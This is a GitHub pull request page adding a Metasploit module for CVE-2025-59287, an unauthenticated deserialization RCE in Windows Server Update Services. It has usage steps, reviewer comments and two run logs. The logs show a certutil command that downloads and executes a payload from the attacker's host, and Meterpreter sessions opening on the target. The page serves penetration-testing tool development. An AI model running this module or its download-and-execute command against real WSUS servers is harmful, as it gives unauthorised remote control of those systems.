Skip to content

Conversation

@msutovsky-r7
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 commented Nov 4, 2025

This PR adds RCE module for unauthenticated deserialization in WSUS - CVE-2025-59287. Work in progress.

WSUS provides features for managing and distributing updates through a management console.
The CVE-2025-59287 is a remote code execution vulnerability in
this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
One way to run synchronization is to open the Windows Server Update Service app,
the other is to run the following command from PowerShell:

(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()

Verification Steps

  1. Setup WSUS on target server
  2. Do: use exploit/windows/http/wsus_deserialization_rce
  3. Do: set RHOSTS [target IP]
  4. Do: set LHOST [attacker IP]
  5. Do: set LPORT [attacker port]
  6. Do: run

Options

Scenarios

msf exploit(windows/http/wsus_deserialization_rce) > run verbose=true
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/g7dX6dKZEs4KZYEuEJH2KQ %TEMP%\nYFKgDXL.exe & start /B %TEMP%\nYFKgDXL.exe
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /g7dX6dKZEs4KZYEuEJH2KQ
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Getting server ID
[*] Getting authentication cookie
[*] Getting reporting cookie
[*] Trying to create malicious event
[*] Created malicious event, now waiting for WSUS to sync
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.161 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
[*] Sending payload to 10.5.132.161 (CertUtil URL Agent)
[*] Sending stage (230982 bytes) to 10.5.132.161
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.161:49984) at 2025-11-04 12:27:00 +0100

meterpreter > sysinfo
Computer        : WIN2022__63DA
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__63DA\Administrator

@github-actions
Copy link

github-actions bot commented Nov 4, 2025

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review November 6, 2025 13:46
Copy link
Contributor

@jvoisin jvoisin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wow, that's a very clean module, kudos!

'Platform' => 'win',
'DefaultOptions' => {
'RPORT' => '8530',
'WfsDelay' => 900 # need to wait for WSUS to try synchronize
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why 900 seconds specifically?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No specific reason, wait here can be longer depending on the server - 900 is for debugging purpose.

@dledda-r7 dledda-r7 self-assigned this Nov 10, 2025
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(windows/http/wsus_deserialization_rce) > run
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.10:8080/SqHMvLtqAZWhX-2lofXn7w %TEMP%\UCvtZRNV.exe & start /B %TEMP%\UCvtZRNV.exe
[*] Fetch handler listening on 192.168.3.10:8080
[*] HTTP server started
[*] Adding resource /SqHMvLtqAZWhX-2lofXn7w
[*] Started reverse TCP handler on 192.168.3.10:4444 
[*] Getting server ID
[*] Getting authentication cookie
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (605075 bytes) to 10.5.135.158
[*] Getting reporting cookie
[*] Trying to create malicious event
[*] Created malicious event, now waiting for WSUS to sync
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.135.158:50803) at 2025-11-11 10:36:26 -0500

meterpreter > sysinfo
Computer        : WIN2022__63DA
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > 

@dledda-r7 dledda-r7 merged commit c007d3a into rapid7:master Nov 12, 2025
18 checks passed
@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 14, 2025
@dledda-r7
Copy link
Contributor

dledda-r7 commented Nov 14, 2025

Release Notes

Adds a module targeting GHSA-943j-4893-6rfq, an unauthenticated deserialization vulnerability in the Windows Server Update Service (WSUS) resulting in remote code execution as SYSTEM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants